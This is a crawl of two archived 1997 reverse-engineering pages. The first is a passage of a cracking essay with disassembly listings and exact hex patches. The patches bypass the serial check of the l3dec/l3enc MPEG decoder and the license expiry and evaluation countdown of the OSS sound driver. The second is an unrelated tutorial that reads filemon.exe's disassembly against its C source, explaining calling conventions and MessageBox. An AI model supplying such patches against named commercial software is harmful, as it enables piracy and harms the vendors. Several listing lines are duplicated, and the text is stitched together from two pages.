08058f2b pushl %edi 08058f2c pushl %esi 08058f2d pushl %ebx 08058f2e movl
0xa0(%esp,1),%ebp 08058f35 leal 0x14(%esp,1),%edi Possible reference to string: "^D"
08058f39 movl $0x805afa0,%eax 08058f3e movl %eax,%esi 08058f40 cld 08058f41 movl
$0xe,%ecx 08058f46 repz movsl %ds:(%esi),%es:(%edi) 08058f48 xorb %al,%al 08058f4a
movl %ebp,%edi 08058f4c cld 08058f41 movl $0xe,%ecx 08058f46 repz movsl
%ds:(%esi),%es:(%edi) 08058f48 xorb %al,%al 08058f4a movl %ebp,%edi 08058f4c cld
08058f4d movl $0xffffffff,%ecx 08058f52 repnz scasb %es:(%edi),%al 08058f54 movl
%ecx,%eax 08058f56 notl %eax 08058f58 decl %eax 08058f59 cmpl $0xd,%eax 08058f5c ja
08058f70; <<< continue the endless function 08058f5e movl $0xffffff9c,%eax; <<< what
an ugly number ! 08058f63 popl %ebx 08058f64 popl %esi 08058f65 popl %edi 08058f66
popl %ebp 08058f67 addl $0x8c,%esp 08058f6d ret; <<< premature return Ok, the
function is called from different places, so it's easier to crack the function
instead the conditional jump. I leave my xoring friends to look for a right serial
number :-). The function is really endless, and may return the "bad-guy-value" in
some instructions after 08058f70, but changing mov instruction at 08058f5e, will do
unless you enter a long reg-number (crack the cmp, the ja or whatever you want if you
want to take ALL possibilities, I just feel tired :-). But where are the hex codes ?
ok, this instruction will return you the hot hexcodes in two seconds: objdump d
show-raw-insn l3dec | grep 08058f[5-6] (... two seconds later) 08058f52 f2 ae repnz
scasb %es:(%edi),%al 08058f54 89 c8 movl %ecx,%eax 08058f56 f7 d0 notl %eax 08058f58
48 decl %eax 08058f59 83 f8 0d cmpl $0xd,%eax 08058f5c 77 12 ja 08058f70 08058f5e b8
9c ff ff ff movl $0xffffff9c,%eax 08058f63 5b popl %ebx 08058f64 5e popl %esi
08058f65 5f popl %edi 08058f66 5d popl %ebp 08058f67 81 c4 8c 00 00 00 addl
$0x8c,%esp 08058f6d c3 ret 08058f6e 8d 36 leal (%esi),%esi I told you it was ugly.
Run your favorite hexeditor (unix or dos) and change: 08058f5e b8 9c ff ff ff movl
$0xffffff9c,%eax to: 08058f5e b8 00 00 00 00 movl $0x00000000,%eax; Ok, a
register.inf file (just your reg-number) will appear, and DECODE for ever. You must
crack also l3enc, but the protection is exactly the same. BTW, this layer III guys
want you to pay 402,50 DM for this software. 2)
http://www.4front-tech.com/download.cgi What the hell is this again ? Well, as I told
linux kernel (until now) doesn't support my soundcard (at least the way I deserve
:-), and these guys "promise" to support my card loading a module. What are modules
in linux ? A module is a piece of code that adds functionalities to the kernel, and
it can be loaded and unloaded whenever you want (it is not a dos device driver but if
you are happy thinking so it will help). At this location you may download the
archive according to your kernel (in my case kernel 2.0.0 or above ). They say you
may use it for free 7 days. It is not expensive software, but there are two things I
dislike of this software: * If you uninstall it and install it again, even if you are
in your first day (I can tell you a thousand innocent reasons for doing so), you are
punished as if you had been using it for a week (with a toy trick BTW). * Second and
worse, it doesn't work (mi gozo en un pozo otra vez). Apparently you are allowed to
use it for a week with no restrictions. After a week, you may use it for 20 minutes
and then reload the module. At the end of the month you are not allowed to use it

http://www.instinct.org/fravia/siulin1.htm (9 of 14) [2/7/2001 3:19:42 PM]


siulin1.htm

anymore (unless you remove it completely. Even the "secret" /etc/oss.conf file :-).
Looking in the directory created I find a file license.asc with PGP SIGNATURES Wow !
What a hard protection ! Everytime I run the program (soundon) I get this message:
This product is licensed for evaluation purposes only. License will expire after:
09/1997 Write it down. Advance the system date a couple of months and it snaps: This
product is licensed for evaluation purposes only. License expired: 09/1997 Please
download a fresh version from http://www.4front-tech.com Failed to activate the
driver Probably caused by a technical problem or by missing or invalid licence. See
/usr/local/lib/oss/soundon.log for more info. Pretty chapucero no ? Well, but advance
it before license ends and ... This product is licensed for evaluation purposes only.
License will expire after: 09/1997 OSS: 1196 seconds of evaluation time left A nasty
countdown. Ahora toca joder al usuario. Now that we have the facts, use the
marvellous grep command and locate the evil files. License expired & License will
expire> FILE sndconf
seconds of evaluation time left -> FILE modules/soundbase

The second file is not executable, is a "relocatable Elf file" (a


module). No problem. It is logical, for a countdown the protection
must dwell in a resident program. This protection is a little bit more
complicated than the first one, but is not a tough protection at all.
Dasm sndconf, and look for "License expired" (Be indulgent with this
long listing, trust me, it's easy):

08052101 cmpl %esi,0x10(%eax); <<<< some comparing


08052104 jl 08052110; <<<< if not less flag=0
08052106 movl $0x0,0xfffffd84(%ebp)

Referenced from jump/call at 080520f3 ; 08052104 ;


08052110 cmpl $0x0,0xfffffd84(%ebp); <<< flag=1 seems to be good
08052117 jne 08052150; <<< jump somewhere
08052119 pushl %ebx; <<< the game is over outlaw!
0805211a pushl %edi

Possible reference to string:


"License expired: %02d/%04d"
0805211b pushl $0x806fc08

Reference to function : printf


08052120 call 08049138

Possible reference to string:


"Please download a fresh version from http://www.4front-tech.com"
08052125 pushl $0x806fb97

Reference to function : printf


0805212a call 08049138
0805212f pushl %ebx
08052130 pushl %edi

Possible reference to string:


"License expired: %02d/%04d"
08052131 pushl $0x806fc08; <<<< I love this formatted strings
08052136 pushl $0x807e6d0

Reference to function : fprintf

http://www.instinct.org/fravia/siulin1.htm (10 of 14) [2/7/2001 3:19:42 PM]


siulin1.htm

0805213b call 08049368


08052140 addl $0x20,%esp
08052143 pushl $0xffffffff

Reference to function : exit


08052145 call 08049598; <<<< beggar off
0805214a leal 0x0(%esi),%esi

Referenced from jump/call at 08052117 ;


<<< Do you remember the flag ?
08052150 movl $0x1,0xfffffd84(%ebp); <<< jump here if above flag=1
0805215a movl 0xfffffd94(%ebp),%eax
08052160 movl %eax,0xfffffd80(%ebp)
08052166 decl %eax
08052167 movl %eax,0xfffffd94(%ebp)
0805216d movl 0xfffffd80(%ebp),%esi
08052173 decl %esi
08052174 jns 08052186
08052176 decl 0xfffffd90(%ebp)
0805217c movl $0xb,0xfffffd94(%ebp)

Referenced from jump/call at 08052174 ;


08052186 movl 0xfffffd7c(%ebp),%eax
0805218c movl 0x14(%eax),%edx
0805218f movl 0xfffffd90(%ebp),%ecx
08052195 cmpl %ecx,%edx
08052197 jle 080521a3; <<< jumping flag=0
08052199 movl $0x0,0xfffffd84(%ebp);<<< flag=0 BAD GUY !

Referenced from jump/call at 08052197 ;


080521a3 cmpl %edx,%ecx
080521a5 jne 080521c2
080521a7 movl 0xfffffd94(%ebp),%eax
080521ad movl 0xfffffd7c(%ebp),%esi
08052160 movl %eax,0xfffffd80(%ebp)
08052166 decl %eax
08052167 movl %eax,0xfffffd94(%ebp)
0805216d movl 0xfffffd80(%ebp),%esi
08052173 decl %esi
08052174 jns 08052186
08052176 decl 0xfffffd90(%ebp)
0805217c movl $0xb,0xfffffd94(%ebp):

Referenced from jump/call at 08052174 ;


08052186 movl 0xfffffd7c(%ebp),%eax
0805218c movl 0x14(%eax),%edx
0805218f movl 0xfffffd90(%ebp),%ecx
08052195 cmpl %ecx,%edx
08052197 jle 080521a3; <<< jumping again badflag
08052199 movl $0x0,0xfffffd84(%ebp); <<< flag =0

Referenced from jump/call at 08052197 ;


080521a3 cmpl %edx,%ecx
080521a5 jne 080521c2
080521a7 movl 0xfffffd94(%ebp),%eax

http://www.instinct.org/fravia/siulin1.htm (11 of 14) [2/7/2001 3:19:42 PM]


siulin1.htm

080521ad movl 0xfffffd7c(%ebp),%esi


080521b3 cmpl %eax,0x10(%esi)
080521b6 jl 080521c2; <<< again
080521b8 movl $0x0,0xfffffd84(%ebp)

Referenced from jump/call at 080521a5 ; 080521b6 ;


080521c2 pushl %ebx
080521c3 pushl %edi

Possible reference to string:


"License will expire after: %02d/%04d"
080521c4 pushl $0x806fc24

Ejem, if flag=1 your license don't expire, and then lot of


possibilities of flag=0. Pretty obvious. Use your favorite dos/unix
hexeditor (or copy the file to your dos partition, reboot and run the
damned Windoze hexeditor) and do a general Search/Replace:
(... objdump -d --show-raw-insn sndconf | grep 080521b)

Every
c7 85 84 fd ff ff 00 00 00 00 movl $0x0,0xfffffd84(%ebp)
changes to:
c7 85 84 fd ff ff 01 00 00 00 movl $0x1,0xfffffd84(%ebp);ALWAYS GOOD!

You'll notice that the message even disappear. But we must get rid of
the countdown too. Dasm soundbase and look for "seconds" (you may see
that this file has line information):

Possible reference to string:


"OSS: The evaluation time has elapsed. Please reload the driver."
<<<< if you're executing this part
<<<< you are a really bad guy

00005901 <sound_open_sw+71> pushl $0x944


RELOC: 00005902 R_386_32 .rodata; << look! objdump smts helps
00005906 <sound_open_sw+76> call 00005907 <sound_open_sw+77>

<<< movl $0xffffffed,%eax

Possible reference to string:


"d: Driver partially removed. Can't open device" <<<< String references sometimes
fail

00005910 <sound_open_sw+80> addl $0x4,%esp


00005913 <sound_open_sw+83> popl %ebx
00005914 <sound_open_sw+84> popl %esi
00005915 <sound_open_sw+85> ret
00005916 <sound_open_sw+86> leal 0x0(%esi),%esi
00005919 <sound_open_sw+89> leal 0x0(%esi,1),%esi

Referenced from jump/call at 000058ff ;


00005920 <sound_open_sw+90> movl 0x0,%eax
RELOC: 00005921 R_386_32 jiffies_R2f7c7437
00005925 <sound_open_sw+95> subl %eax,%edx

http://www.instinct.org/fravia/siulin1.htm (12 of 14) [2/7/2001 3:19:42 PM]


siulin1.htm

00005927 <sound_open_sw+97> movl %edx,%eax

Possible reference to string:


"en configured"
00005929 <sound_open_sw+99> movl $0x64,%ecx
0000592e <sound_open_sw+9e> xorl %edx,%edx
00005930 <sound_open_sw+a0> divl %ecx,%eax
00005932 <sound_open_sw+a2> pushl %eax

Possible reference to string:


"OSS: %d seconds of evaluation time left" <<< Here you are a not so good guy

00005933 <sound_open_sw+a3> pushl $0x99e


RELOC: 00005934 R_386_32 .rodata
00005938 <sound_open_sw+a8> call 00005939 <sound_open_sw+a9>
RELOC: 00005939 R_386_PC32 printk_Rad1148ba; << printing what?

Possible reference to string:


"river partially removed. Can't open device"

0000593d <sound_open_sw+ad> addl $0x8,%esp

Referenced from jump/call at 000058e8 ; 000058ec ; 000058f6 ;

00005940 <sound_open_sw+b0> movl %ebx,%eax; <<<I want to jump here !

Look at this, before seeing the rest of the code:


- If you are a not so good guy you come from 58ff
- You bypass the countdown message if you come from 58e8;58ec and 58f6
- If you don't get these jumping you are a really bad guy.
It seems to be a REAL HOT AREA. Ok, you cannot wait anymore, I'll show you:

000058e0 <sound_open_sw+50> movl 0x1148,%edx


RELOC: 000058e2 R_386_32 .data
000058e6 <sound_open_sw+56> testl %edx,%edx
000058e8 <sound_open_sw+58> je 00005940; <<< FIRST OPPORTUNITY
000058ea <sound_open_sw+5a> testl %ebx,%ebx
000058ec <sound_open_sw+5c> je 00005940; <<< movl %ebx,%eax

Possible reference to string:


"artially removed. Can't open device"

000058f0 <sound_open_sw+60> andl $0xf,%eax

Possible reference to string:


" Driver partially removed. Can't open device"

000058f3 <sound_open_sw+63> cmpl $0x6,%eax


000058f6 <sound_open_sw+66> je 00005940; <<< THIRD ONE
000058f8 <sound_open_sw+68> movl 0x0,%eax
RELOC: 000058f9 R_386_32 jiffies_R2f7c7437
000058fd <sound_open_sw+6d> cmpl %edx,%eax
000058ff <sound_open_sw+6f> jbe 00005920; <<< LAST ONE EVEN BEING
<<< A NOT S.G. GUY

http://www.instinct.org/fravia/siulin1.htm (13 of 14) [2/7/2001 3:19:42 PM]


siulin1.htm

If i'm honest i don't like this variety. If you look for hits for the
FIRST key variable 0x1148 (apparently 0x1148=0 is a good thing), it
is never (directly) assigned to 0. I don't like, perhaps it works,
but I do prefer the other two options (that deal with the same thing).
Change:

000058f0 <sound_open_sw+60> 83 e0 0f andl $0xf,%eax


000058f3 <sound_open_sw+63> 83 f8 06 cmpl $0x6,%eax
000058f6 <sound_open_sw+66> 74 48 je 00005940
to:
000058f0 <sound_open_sw+60> 83 e0 0f andl $0xf,%eax
000058f3 <sound_open_sw+63> 83 f8 06 cmpl $0x6,%eax
000058f6 <sound_open_sw+66> eb 48 jmp 00005940

It apparently works, and I say apparently 'cause I told before that


this buggy module doesn't work anyhow :-)
Well, easy cracks for a new area. Good linuxing !

SiuL+Hacky
(c) SiuL+Hacky 1997. All rights reversed

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links anonymity +ORC students' essays academy database


tools cocktails antismut CGI-scripts search_forms mail_fravia
Is reverse engineering legal?

http://www.instinct.org/fravia/siulin1.htm (14 of 14) [2/7/2001 3:19:42 PM]


filemon1

How to reverse engineer a Windows 95 target


REVERSE ENGINEERING EXERCISES FOR THE MASSES - (2a)
Version 0.01

by fravia+ (MSRE), August 1997

Part A: Introduction to filemon - 01 August 1997


Courtesy of Fravia's page of reverse engineering

Well, a very interesting essay... I wrote it myself! :-) This essay will be divided in four (or more) parts:
A = Introduction to filemon
B = reverse engineering without source code
C = Filemon reversed
D = Back to Main
E = VXD vagaries and mysteries

Although already disponible, this essay is still under construction and will be modified and ameliorated until the
wording below will disappear (I reckon until mid-september)

UNDER CONSTRUCTION
REVERSE ENGINEERING EXERCISES FOR THE MASSES - (2a)
How to reverse engineer a Windows 95 program
~
Part A: Introduction to filemon.exe

(c) Fravia (MSRE), 1997. All rights reserved


Print as html document, else use courier 8

Sorry for the language, I'm not a native English speaker.


Sorry for the "rough" version, it's still under construction... I am publishing this essay in its incomplete form, only
because so many have insisted. The complete version will not be ready before mid-September and will contain
many changes and improvements .
This essay is a "quick and dirty" introduction to Windows 95 reverse engineering, it requires almost NO
knowledge of windows programming, and a low to moderate knowledge of assembler coding. If you are already a
good software reverse engineer this essay may disappoint you, being a little too much on the elementary side, yet I
believe that a good comprehension of the basic of this trade is the main secret for advanced reverse engineering.

Introduction
You may have already read the short essay (divided in two parts) that I published one year ago, reverse
engineering Filemanager for Windows 3.1. Since we are all now dealing mostly with Windows 95 programs (it's

http://www.instinct.org/fravia/filemon1.htm (1 of 19) [2/7/2001 3:19:52 PM]


filemon1

not our choice - alas - but a Micro$oft's imposition that everybody accepts, against any sound logic :-) it suits us
well to examine the "deep" structure of filemon.exe, Version 2.0, by By Mark Russinovich and Bryce Cogswell, a
pretty useful program, released with its c source code at the beginning of the year. You may want to download also
the LAST version of this good tool (version 3.0), released in July, at http://www.ntinternals.com, where you'll find
also its companion utility regmon.exe and the Windows NT versions of both tools with complete c++ source code.
Yet for this essay download from my site version 2 of filemon.exe with its source code, this is all what you'll
need.

As usual, when you start a cracking session, first of all run the program, try all its options (there are not many
options inside this target) and, last but not least, print the complete C source code (15 "A4" sheets). Since we have
already the C source code of this program this lesson will be a "false" reverse engineering exercise: we are not
going to find anything hidden or new, nor many secret tricks in here... yet I believe that many of you will find
pretty useful our work below, since analogous structures will more or less be present inside UNKNOWN code,
inside other targets, that you'll try to reverse engineer on your own.
Another (very) interesting point in this program is its use of a virtual device driver (VXD) for the filtering of all
file system accesses... VXD reverse engineering is a branch in its own rights, as you will see.
Here you go: all the files you'll find inside filsrc.zip:
Searching ZIP: FILSRC.ZIP

Length Method Size Ratio Date Time CRC-32 Attr Name


------ ------ ----- ----- ---- ---- -------- ---- ----
0 Stored 0 0% 07-03-97 13:16 00000000 --wD GUI/
0 Stored 0 0% 07-03-97 13:16 00000000 --wD VXD/
766 DeflatN 350 55% 28-03-96 08:55 cc319149 --w-
GUI/APPICON.ICO
16015 DeflatN 7090 56% 16-03-97 20:47 ce4c6ba6 --w-
GUI/FILEVXD.VXD
58368 DeflatN 4905 92% 16-03-97 20:49 75a1fd27 --w-
GUI/FILEMON.NCB
0 Stored 0 0% 07-03-97 13:16 00000000 --wD
GUI/RELEASE/
38912 DeflatN 1764 96% 16-03-97 20:49 266898dd --w-
GUI/FILEMON.MDP
7176 DeflatN 1522 79% 27-11-96 14:34 4ccc82e0 --w-
GUI/FILEMON.MAK
4786 DeflatN 1396 71% 16-03-97 20:48 54b79e51 --w-
GUI/FILEMON.RC
2312 DeflatN 623 74% 16-03-97 20:13 fea19b03 --w-
GUI/RESOURCE.H
22356 DeflatN 6422 72% 16-03-97 20:22 58b0c5ab --w-
GUI/FILEMON.C
16015 DeflatN 7090 56% 16-03-97 20:47 ce4c6ba6 --w-
GUI/RELEASE/FILEVXD.VXD
38912 DeflatN 18466 53% 16-03-97 20:48 4d4d1cee --w-
GUI/RELEASE/FILEMON.EXE
420 DeflatN 255 40% 24-11-96 21:09 bd0b63d3 --w-
VXD/MAKEFILE
1199 DeflatN 259 79% 16-03-97 20:47 1c1c6d4c --w-
VXD/FILEVXD.DEF
1620 DeflatN 961 41% 16-03-97 20:47 20fd9fad --w-

http://www.instinct.org/fravia/filemon1.htm (2 of 19) [2/7/2001 3:19:52 PM]


filemon1

VXD/FILEVXD.SYM
1480 DeflatN 373 75% 16-03-97 20:47 031f6484 --w-
VXD/FILEVXD.EXP
16015 DeflatN 7090 56% 16-03-97 20:47 ce4c6ba6 --w-
VXD/FILEVXD.VXD
6212 DeflatN 1699 73% 16-03-97 20:47 ce4845f1 --w-
VXD/FILEVXD.MAP
15675 DeflatN 6009 62% 16-03-97 20:47 7702cbad --w-
VXD/FILEMON.OBJ
1384 DeflatN 364 74% 16-03-97 20:47 1ec43719 --w-
VXD/FILEVXD.LIB
313 DeflatN 194 39% 05-12-95 02:01 317f17cc --w-
VXD/FILEVXD.VRC
452 DeflatN 283 38% 23-11-96 18:36 0ea560c5 --w-
VXD/FILEVXD.RES
82944 DeflatN 5012 94% 16-03-97 20:47 f7db1ed0 --w-
VXD/FILEVXD.PDB
84457 DeflatN 12255 86% 24-11-96 04:47 6f9a8ab8 --w-
VXD/TEST.FIL
35430 DeflatN 7703 79% 16-03-97 20:45 2fc85672 --w-
VXD/FILEMON.C
1139 DeflatN 509 56% 16-03-97 20:24 e642c40b --w-
VXD/IOCTLCMD.H
1557 DeflatN 582 63% 16-03-97 20:25 395d7317 --w-
VXD/FILEMON.H
------ ------ ---
-------
455915 93176 80%
28
We'll reverse engineer two files: filemon.exe and filevxd.vxd. We'll begin with filemon.exe. The reverse
engineering of this program will be COMPLETE, since its various parts will be useful -for you- in order to learn
some of the different aspects and techniques (and tricks) of our trade. Be patient and wade slowly through the code
of this target, I'll keep you on the right path.
'Dead listing' reverse engineering, as +ORC calls it, is a slow "puzzle solving" process: the intellectual challenge
can be extremely interesting, btw.
We will NEVER use Winice in this essay, as it is NOT NECESSARY to use our powerful debugger to understand
EVERYTHING a target does, as you'll see reading this essay.

Elementary must know, the SaveFile approach

Some elementary MUST KNOW that you should head before starting a cracking session:
At the beginning there are no names... only a sea of numbers, hundred of different locations... that's your target "in
the wild", roaming around with unnamed procedures, before you tame it to clarity.
Soon some little islands will appear... their form still indeterminate... slowly you'll understand what some
procedures of your target (should) do... for instance here in filemon (as in almost all programs you'll disassemble)
it's pretty easy to individuate the "FileSaving" function, using simple search masks inside the dead listing.
Searching you'll quickly get to this part of your dead listing:

http://www.instinct.org/fravia/filemon1.htm (3 of 19) [2/7/2001 3:19:52 PM]


filemon1

:00401CF3 C744244804824000 mov [esp + 48], 00408204 ;"Save


File Info..."
:00401CFB C7442454FC814000 mov [esp + 54], 004081FC
;"*.fil"
Now just dead list "back", to the beginning of this function:

:00401C20 81EC7C060000 sub esp, 0000067C ;correct


stack
Since this function starts at :00401C20, we can at once substitute (search and replace) any "call 00401C20" (which
is not a very useful tag for our dead listing perusing) with a much more meaningful tag: "call 00401C20=savefile".
Note how our substitution did NOT eliminate the location number, you better keep always such number locations
together with your new tags, because during your cracking sessions you will necessarily commit quite a lot of
mistakes, that you'll correct later. Keeping the original location numbers together with your new assigned
'provisory' names will help you a lot when needed.
Inside filemon's dead listing we will find only two occurrences of a call to our "FileSaving" routine but working on
your own targets, later, you'll soon discover how abstruse (and puzzling) code snippets will suddenly be
comprehensible thank to these - very simple - substitutions
Let's have a look at the relevant filemon's code:
This snippet of code calls twice the SaveFile function of our target... by the way, since this kind of routines are
typically called from the main menu of the main window ("Save" and "Saveas" inside the "File" main menu
option), this snippet will be very probably inside a WM_COMMAND structure... more about this later)... here is
the part of code calling SaveFile:
:
:00401569 6A00 push 00000000
;BOOLEAN FALSE
:0040156B A1B8964000 mov eax, [004096B8] ;get
second par
:00401570 8BB42458010000 mov esi, [esp + 00000158] ;get
HWND hWnd
:00401577 50 push eax ;push
second par
:00401578 56 push esi ;push
HWND hWnd
:00401579 E8A2060000 call 00401C20=savefile
:0040157E 83C40C add esp, 0000000C
:00401581 E97E010000 jmp 00401704
:00401586 6A01 push 00000001
;BOOLEAN TRUE
:00401588 A1B8964000 mov eax, [004096B8] ;get
second par
:0040158D 8BB42458010000 mov esi, [esp + 00000158] ;get
HWND hWnd
:00401594 50 push eax ;push
second par
:00401595 56 push esi ;push
HWND hWnd
:00401596 E885060000 call 00401C20=savefile
:0040159B 83C40C add esp, 0000000C

http://www.instinct.org/fravia/filemon1.htm (4 of 19) [2/7/2001 3:19:52 PM]


filemon1

:0040159E E961010000 jmp 00401704


You notice that I have already transformed "call 00401C20" in "call 00401C20=savefile". You may use the same
"search and replace" technique also for memory locations you have understood the significance of. Usually you'll
be lucky every time that a KNOWN return value of a KNOWN windows function will be stored in a specific
memory location. This will allow you to prepare easily an immediate "search and replace" of the same location in
the whole dead listing, whereby you'll substitute awkward number-locations with your tags, explaining their exact
meaning
Yet you'll be able to clear the meaning of quite a lot of code even if you DO NOT KNOW the exact meaning of a
value stored inside a memory location... the important thing is that you know where that value is used... let's
make an example, look at the code above once more.
This small code snippet let us understand that the "homemade" function SaveFile of our target accepts THREE
parameters (note the three pushes before each call).
One of the three parameters is, clearly, a boolean parameter, either 0 or 1... can you guess what this could be... in a
"save file" operation? It's the "saveas" parameter in alternative to "save", a typical boolean parameter for saving
operations... we don't even need the confirmation of the c code...
Nice... and the other two parameters? The first one (in the C call, the last one in assembly) is HWND hWnd, of
course, and the other one, the "middle" one? We know, from the C source, that's HWND ListBox, but we could
ALREADY have searched and replaced all memory locations "[004096B8]" - in the whole dead listing - with
something like "[004096B8]=SaveFileSecondPar", and believe me, this would have made quite a BIG difference
in a huge 7-8 megabytes dead listing where you don't even understand what the hell the programmer was trying to
do, nor where have been hidden, inside the huge codewoods, the snippets of the target's code you are looking for.

OK, we have finished our quick examination of the small snippet above... would you like to know what it was
exactly? It correspond to the following 6 lines of "c" code, placed inside the main "switch" tree (for
WM_COMMAND) of the MainWndProc:
case IDM_SAVE:
SaveFile( hWnd, hWndList, FALSE );
return 0;

case IDM_SAVEAS:
SaveFile( hWnd, hWndList, TRUE );
return 0;

Let's start cracking: the first function


Now let's start together anew, take your sheets with the C source code have a general look, prepare your favourite
cocktail (may I suggest a traitor?) and then jump with me inside the disassembled target...
If you just read the disassembled code that follows, with my comments, you'll notice pretty easily how the c source
code has been "translated" in assembler.
The first windows' function in the C source code is ABORT, let's examine first of all its "C" code:
/********************************************************************
* FUNCTION: Abort:
* PURPOSE: Handles emergency exit conditions.
*********************************************************************/
void Abort( HWND hWnd, TCHAR * Msg )
{ MessageBox( hWnd, Msg, "filemon", MB_OK );
PostQuitMessage( 1 );
}

http://www.instinct.org/fravia/filemon1.htm (5 of 19) [2/7/2001 3:19:53 PM]


filemon1

Note the 4 parameters of the Messagebox function: from left to right: hWnd, Msg, "progname", MB_OK... as
you'll now see, in assembly they will be pushed in REVERSE ORDER: MB_OK, "progname", Msg, hWnd,
And here is the code of our target

//********************** Start of Code in Object .text


**************
Program Entry Point = 004024E0 (Filemon.exe File Offset:000018E0)
:00401000 8B442408 mov eax, [esp + 08] ;get msg in eax
:00401004 6A00 push 0 ;push right
parameter: MB_OK (=0)
:00401006 8B4C2408 mov ecx, [esp + 08] ;get hWnd in
ecx
:0040100A 68C0804000 push 004080C0 ;push
StringData "filemon"
:0040100F 50 push eax ;push msg
:00401010 51 push ecx ;push hWnd
:00401011 FF1590B24400 Call dword ptr [0044B290] ;call
USER32.MessageBoxA
:00401017 6A01 push 1 ;push 1 for
PostQuit
:00401019 FF1588B24400 Call dword ptr [0044B288] ;call
USER32.PostQuitMessage
:0040101F C3 ret ;finis
What does this little introductory example mean from a reverse engineering point of view? It means, for a start,
that EVERY TIME you find a "call USER32.MessageBoxA" function, in your disassembled listing you may
substitute IMMEDIATELY the 4 pushes preceding it with:
First push: whatever MessageBoxStyle has been called (Here 0 = MB_0K)... see below the complete list
Second push: Title of the MsgBox
Third push: Msg
Fourth push: hWnd

You dig it?


It's the same old story we already (should) know from dos reverse engineering actually:
All it happens when passing parameters to a C++ function is that you push the rightmost parameter first, then the
next rightmost parameter, and so on, until the leftmost parameter has been pushed. Then the function is called...
say you call the C library function strcpy to copy SourceString to DestString... in c++ you would type:

strcpy (DestString, SourceString);


The same call in assembler works like this

lea ax,SourceString ;rightmost parameter


lea bx,DestString ;leftmost parameter
push ax ;push rightmost first
push bx ;push next one
call _strcpy ;copy the string using pre-made code
add sp,4 ;DISCARD used parameters
Everything depends from the CALLING CONVENTION!

http://www.instinct.org/fravia/filemon1.htm (6 of 19) [2/7/2001 3:19:53 PM]


filemon1

The C calling convention pushes rightmost first and discards parameters from stack;
The Pascal calling convention pushes leftmost first and the called program discards the parameter from the stack.

It's therefore quite important to understand first of all wich convention uses your target, which is pretty easy, since
you just need to have a look to a known windows function.

The old good MessageBox function


But we are not yet finished with our messagebox function,, I'll use this very function in order to explain you "in the
deep" a single Windows' function, it's up to you, obviously, to learn as much as you can about the more important
windows' functions... I know, I know, it's an awful operating system, yet we MUST STUDY IT, unfortunately, in
order to reverse it whenever we feel like it. In the following example, regarding MessageBox, you'll find a
description useful for reverse engineering purposes, the descriptions you'll find inside the WinAPI references of
the main languages compilers are similar, but they are aimed at programmers that usually DO NOT need to know
how to disassemble their program effectively and therefore are not always useful, nor complete. In fact the basical
syntax for messagebox is the following:

int MessageBox(hwndParent, lpszText, lpszTitle,


fuStyle)

HWND hwndParent; /* handle of parent window */


LPCSTR lpszText; /* address of text in message box */
LPCSTR lpszTitle; /* address of title of message box */
UINT fuStyle; /* style of message box */

The MessageBox function creates, displays, and operates a


message-box window.
The message box contains an application-defined message and title,
plus any
combination of the predefined icons and push buttons described in
the fuStyle
parameter.

Parameter Description

hwndParent Identifies the parent window of the message box to


be created.
If this parameter is NULL, the message box will
have no parent
window.
LpszText Points to a null-terminated string containing the
message to
be displayed.
LpszTitle Points to a null-terminated string to be used for
the dialog
box title. If this parameter is NULL, the default
title Error

http://www.instinct.org/fravia/filemon1.htm (7 of 19) [2/7/2001 3:19:53 PM]


filemon1

is used.
fuStyle Specifies the contents and behavior of the dialog
box.
This parameter can be a combination of the
following values:
Value Meaning

MB_ABORTRETRYIGNORE The message box contains three push


buttons:
Abort, Retry, and Ignore.
This value is 0x00000002L

MB_APPLMODAL The user must respond to the message box


before
continuing work in the window identified by
the
hwndParent parameter. However, the user can
move
to the windows of other applications and
work in
those windows. MB_APPLMODAL is the default
if
neither MB_SYSTEMMODAL nor MB_TASKMODAL is
specified.
This value is 0x00000000L

MB_DEFBUTTON1 The first button is the default. Note that


the
first button is always the default unless
MB_DEFBUTTON2
or MB_DEFBUTTON3 is specified.
This value is 0x00000000L

MB_DEFBUTTON2 The second button is the default.


This value is 0x00000100L

MB_DEFBUTTON3 The third button is the default.


This value is 0x00000200L

MB_ICONASTERISK Same as MB_ICONINFORMATION.


This value is 0x00000040L

MB_ICONEXCLAMATION An exclamation-point icon appears in the


message box.
This value is 0x00000030L

MB_ICONHAND Same as MB_ICONSTOP.


This value is 0x00000010L

MB_ICONINFORMATION An icon consisting of a lowercase letter


"I" in a

http://www.instinct.org/fravia/filemon1.htm (8 of 19) [2/7/2001 3:19:53 PM]


filemon1

circle appears in the message box.


This value is 0x00000040L

MB_ICONQUESTION A question-mark icon appears in the


message box.
This value is 0x00000020L

MB_ICONSTOP A stop-sign icon appears in the message


box.
This value is 0x00000010L

MB_OK The message box contains one push button:


OK.
This value is 0x00000000L

MB_OKCANCEL The message box contains two push


buttons: OK and Cancel.
This value is 0x00000001L

MB_RETRYCANCEL The message box contains two push


buttons: Retry and Cancel.
This value is 0x00000005L

MB_SYSTEMMODAL All applications are suspended until the


user responds to
the message box. Unless the application
specifies MB_ICONHAND,
the message box does not become modal
until after it is
created; consequently, the parent window
and other windows
continue to receive messages resulting
from its activation.
System-modal message boxes are used to
notify the user of
serious, potentially damaging errors that
require immediate
attention (for example, running out of
memory).
This value is 0x00001000L

MB_TASKMODAL Same as MB_APPLMODAL except that all the


top-level windows
belonging to the current task are disabled
if the hwndParent
parameter is NULL. This flag should be
used when the calling
application or library does not have a
window handle available
but still needs to prevent input to other
windows in the

http://www.instinct.org/fravia/filemon1.htm (9 of 19) [2/7/2001 3:19:53 PM]


filemon1

current application without suspending


other applications.
This value is 0x00002000L

MB_YESNO The message box contains two push


buttons: Yes and No.
This value is 0x00000004L
MB_YESNOCANCEL The message box contains three push
buttons: Yes, No, and
Cancel.
This value is 0x00000003L
As you can see, the possible values are 0,1,2,3,4,5,10,20,30,40,100,200,100, 2000
(there are also other values, more rare: F, FO, F00, 3000, 8000, C000, 20000... you'll find them out either
experimenting a little or reverse engineering a lot :-)
Returns
The return value is zero if there is not enough memory to create
the message box.
Otherwise, it is one of the following menu-item values returned by
the dialog box:

Value Real value Meaning

ERROR (0) fcked


IDOK (1) OK button was selected.
IDCANCEL (2) Cancel button was selected.
IDABORT (3) Abort button was selected.
IDRETRY (4) Retry button was selected.
IDIGNORE (5) Ignore button was selected.
IDYES (6) Yes button was selected.
IDNO (7) No button was selected.

If a message box has a Cancel button, the IDCANCEL value will be


returned
if either the ESC key is pressed or the Cancel button is selected.
If the
message box has no Cancel button, pressing ESC has no effect.

Comments
When a system-modal message box is created to indicate that the
system is
low on memory, the strings pointed to by the lpszText and
lpszTitle
parameters should not be taken from a resource file, because an
attempt
to load the resource may fail.

